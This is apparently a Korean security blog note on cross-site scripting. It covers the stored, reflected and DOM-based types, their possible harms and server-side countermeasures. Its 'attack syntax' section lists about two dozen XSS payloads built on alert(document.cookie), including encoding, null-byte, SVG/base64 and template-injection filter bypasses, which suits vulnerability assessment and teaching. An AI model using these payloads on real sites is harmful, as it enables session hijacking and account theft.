크로스사이트 스크립팅(XSS; Cross-Site Scripting)

취약점 소개

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웹 사이트 내의 파라미터에 스크립트 문을 입력했을 때, 최종 사용자의 클라이언트에서 해당 스크립트가 실행되는 취약점

(게시판 사이트, 1:1 문의, URL, ...)

 

점검 목적

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(악의적인)스크립트의 실행을 차단하기 위함

 

위협 시나리오

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- 게시글이나 이메일을 읽는 사용자의 쿠키(세션)를 탈취하여 오용하거나 악의적 사이트(개인정보 탈취 가능 사이트, ...)로

Redirect 할 수 있음

 

XSS 종류 (Stroed XSS, Reflected XSS, Dom-Based XSS) 

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※위험도 기준은 개인적이며 여기선 크사 취약점 중에서 분류함 (Critical, Major, Minor)

> Stored XSS ( Critical ) - 해당 페이지 접근 시, 스크립트 발생

: DB에 저장된 데이터에 접근하기만 해도 스크립트가 실행되기 때문에 공격 성공 시 무수히 많은 피해자가 발생할 가능성이 높음

자유 게시판 글 작성, 1:1 문의 게시판, 회원 정보 가입 페이지, ...

 

> Reflectd XSS ( Major ) - 사용자로부터 입력받은(조작된 URL) 데이터가 즉시 웹 페이지에 반영될 때 스크립트 발생

: URL에 담긴 파라미터 정보를 기반으로 공격이 수행되기 때문에, Attacker가 사회공학적 기법(악의적인 URL 담긴 피싱 메일)을 이용해 악의적 URL을 Victim에게 전달. 해당 URL을 Victim이 실행시켜야만 공격 수행이 가능

검색 창 파라미터, 목록 조회, 상세 페이지, ...

 

> DOM XSS ( Major ) - 클라이언트에서 해당 파라미터를 처리할 때 스크립트 발생

: 서버에서 파라미터 해석하고 동적 페이지를 생성해서 응답을 주는 것이 아닌, 클라이언트에서 파라미터를 처리할 때 발생할 수 있음

: 서버로 파라미터를 전달하지 않아 서버에서는 공격을 수행한 것인지 아닌지 파악하기 쉽지 않은 특성이 있음

ex) http://example.com/page.html#default=<script>...</script>

 

피해 가능성

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- 쿠키(세션) 탈취

- 공격자가 원하는 사이트로 리다이렉션(피싱공격, 키로깅, ...)

- CSRF 취약점 연계에 활용

- 웹 사이트 외관 변조 가능성(가짜 정보, ...)

...

 

공격구문

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<script>alert(document.cookie)</script>

%3Cscript%3Ealert(document.cookie)%3C/script%3E

%253Cscript%253Ealert(document.cookie)%253C/script%253E

<script>alert`document.cookie`</script>

<script>eval('\x61lert(document.cookie)')</script>

javascript:eval('alert(document.cookie)

<svg+onload=alert(document.cookie)>

<svg/onload=alert(document.cookie)>

<img+src=javascript:alert(document.cookie)>

<img src=x onerror=alert(document.cookie)>

<div style="width:expression(alert(document.cookie))">

<iframe src="data:text/html,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e"></iframe>

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

<script>eval('alert(d'+'ocument.'+'co'+'okie)')</script>

<script>with(document){alert(domain)}</script>

”/>&lt;script>alert(document.cookie)&lt;/script&gt”/>

\";alert(document.cookie);//
'); alert(document.cookie);
</script><script>alert(document.cookie)</script>
{alert(document.cookie)}

<div style="background-image: url(javascript:alert(document.cookie))">
<div style="width: expression(alert(document.cookie))">

/* json 파일 업로드 기능 및 기타 */
#"><img src=/onerror=alert(document.cookie)>"
/* ex)
“data” :{
       “name”: “#”><img scr=/onerror=alert(3)>" 
      “type”: “AUTO_EVENT_VAR” 
      “autoEventVarMacro”: {
                "varType”: “HISTORY_NEW_URL_FRAGMENT”
        }
}
*/

<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(document.cookie);</s%00c%00r%00i%00p%00t>

{{constructor.constructor("alert(document.cookie)")()}}

 

 

 

<script>alert(document.cookie)</script> ← JSFuck

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...

[24-05-12] - 추가 작성 예정 

 

대응방안

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- 웹 사이트 내에 사용자 입력 값이 저장되는 페이지와 사용자 입력 값에 대해 Server Side 단에서 태그나 해당 문자열 필터링 처리 필요

-  입력 값 필터링 로직 구현 시 공백  문자 제거 trim, replace 함수 사용하여 Server Side 단에서 구현
(클라이언트 단에서 구현 시 우회 가능성이 존재하기 때문)

-  URL 인코딩 값 디코딩하여 우회 공격 차단

-  쿠키 속성(헤더) 활용(HttpOnly, Secury, ...)

- 필요한 경우가 아니라면 HTML Editor 기능 제거

... 

 

Refer to...

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▶ 주요정보통신기반시설_기술적_취약점_분석ㆍ평가_방법_상세가이드(2021.03.)

▶ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

▶ https://jsfuck.com/

▶ 기타 블로그

▶ ...

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